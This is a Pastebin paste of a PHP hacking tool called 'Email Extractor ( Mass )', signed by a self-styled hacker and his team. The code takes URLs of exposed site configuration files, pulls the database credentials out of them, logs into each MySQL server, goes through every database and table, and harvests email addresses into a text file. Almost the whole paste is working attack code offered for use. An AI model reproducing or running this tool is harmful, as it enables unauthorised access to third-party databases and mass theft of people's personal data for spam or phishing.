Advertisement
Guest User

Untitled

a guest
Mar 20th, 2019
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.85 KB | None | 0 0
  1. <?php
  2. @set_time_limit(0);
  3. @error_reporting(0);
  4. if(!empty($_POST["Go"])){
  5. function check_url($sites){
  6. $ch1 = curl_init ("$sites");
  7. curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
  8. curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  9. curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
  10. curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
  11. curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
  12. curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
  13. curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
  14. $data = curl_exec ($ch1);
  15. return $data;
  16. }
  17. function Regex($param, $kata1, $kata2){
  18. if(strpos($param, $kata1) === FALSE) return FALSE;
  19. if(strpos($param, $kata2) === FALSE) return FALSE;
  20. $start = strpos($param, $kata1) + strlen($kata1);
  21. $end = strpos($param, $kata2, $start);
  22. $return = substr($param, $start, $end - $start);
  23. return $return;
  24. }
  25. $conf = $_POST['config'];
  26. if($conf != ""){
  27. $config = explode("\r\n",$conf);
  28. foreach($config as $Done){
  29. $Done = trim($Done);
  30. $file = check_url($Done);
  31. $host = Regex($file,"DB_HOST', '","'");
  32. $username = Regex($file,"DB_USER', '","'");
  33. $password = Regex($file,"DB_PASSWORD', '","'");
  34. $db = Regex($file,"DB_NAME', '","'");
  35. if (@mysql_connect($host,$username,$password)){
  36. $res1 = mysql_query("SHOW DATABASES");
  37. echo '<textarea style="width:98%;" rows="25">';
  38. while ($row1 = mysql_fetch_assoc($res1)){
  39. $res2 = mysql_query("SHOW TABLES FROM " . $row1['Database']);
  40. while ($row2 = mysql_fetch_assoc($res2)){
  41. $res3 = mysql_query("SHOW COLUMNS FROM " . $row1['Database'] . "." . $row2['Tables_in_' . $row1['Database']]);
  42. while ($row3 = mysql_fetch_assoc($res3)) {
  43. if(strstr($row3['Field'], "email")) {
  44. $res4 = mysql_query("select " . $row3['Field'] ." FROM " . $row1['Database'] . "." . $row2['Tables_in_' . $row1['Database']]);
  45. while ($row4 = mysql_fetch_assoc($res4)) {
  46. if(!empty($row4[$row3['Field']])){
  47. if(strstr($row4[$row3['Field']], "@")){
  48. echo $row4[$row3['Field']] . "\n";
  49. $f=@fopen("Emails.txt","a+");
  50. @fwrite($f,$row4[$row3['Field']] . "\n");
  51. @fclose($f);
  52. }}}
  53. }
  54. }
  55. }
  56. }
  57. echo '</textarea>';
  58. $file = "Emails.txt";
  59. $text = @file($file) or die("could not read file");
  60. $unique = array_unique($text);
  61. $handle = fopen($file, "w") or die("could not open file for writing");
  62. foreach($unique as $line){
  63. fwrite($handle, $line);
  64. }
  65. fclose($handle);
  66. }}}}else{
  67. echo "
  68. <title>Email Extractor ( Mass ) - By - Suliman-Hacker</title>
  69. <p CENTER>Name : <font color='red'>Email Extractor ( Mass )</font></p>
  70. <p CENTER>Author : <font color='red'>Suliman-Hacker</font></p>
  71. <p CENTER>Team : <font color='red'>TFS</font></p>
  72. <p CENTER>Skype : <font color='red'>live:.km</font></p>
  73. <p CENTER>Facebook : <font color='red'><a href='https://www.facebook.com/suliman.gov.sa'>Here</font></a></p>
  74. <p CENTER>Greetz To : <font color='red'>19l <font color='black'>-</font> king-almafia <font color='black'>-</font> Lion.HackeR <font color='black'>-</font> RxR <font color='black'>-</font> salh <font color='black'>-</font> SaTtAr <font color='black'>-</font> m.e-dz <font color='black'>-</font> evil <font color='black'>-</font> scama <font color='black'>-</font> sayed <3 </font></p>
  75. <center>
  76. <h1>Email Extractor</h1>
  77. <form method='post'>
  78. Configs : <br>
  79. <textarea rows=12 cols=70 name='config'></textarea><br><br>
  80. <input type='submit' name='Go' value='Go!' style='width: 450px;'><br>
  81. </form>
  82. ";
  83.  
  84. }
  85. echo '</center></div></center></body></html>';
  86.  
  87.  
  88. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement